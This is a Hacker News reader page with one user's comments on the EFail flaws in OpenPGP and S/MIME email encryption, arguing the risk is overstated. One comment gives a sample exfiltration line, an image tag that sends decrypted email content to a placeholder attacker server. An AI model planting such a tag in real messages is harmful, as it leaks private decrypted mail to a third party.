Hacker News Reader

noguespion EFail – Vulnerabilities in end-to-end encryption technologies OpenPGP and S/MIME

You won't be able to decrypt email just by intercepting them

noguespion EFail – Vulnerabilities in end-to-end encryption technologies OpenPGP and S/MIME

Because the vulnerability is just about adding HTML tags which will send decrypted content to a remote server controlled by attacker.

Example : <img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE--

If you disable remote content, it can't be exploited on thunderbird (which is disabled by default) BUT there may be other attack vector on other software/email client.

Anyway, the attacker still need to get a hand on your encrypted email.

noguespion EFail – Vulnerabilities in end-to-end encryption technologies OpenPGP and S/MIME

A lot of buzz for a not so critical vulnerability. Well it is critical but very hard to exploit because :

1. Hacker need to intercept the encrypted email. 2. HTML tags/remote content are blocked by default on most email client.

Still an important vulnerability, but not enough (for me) to disable enigmail, I know I'm safe with blocked remote content.

By the way I hate this kind of "buzz" disclosure. Just disclose fully or wait.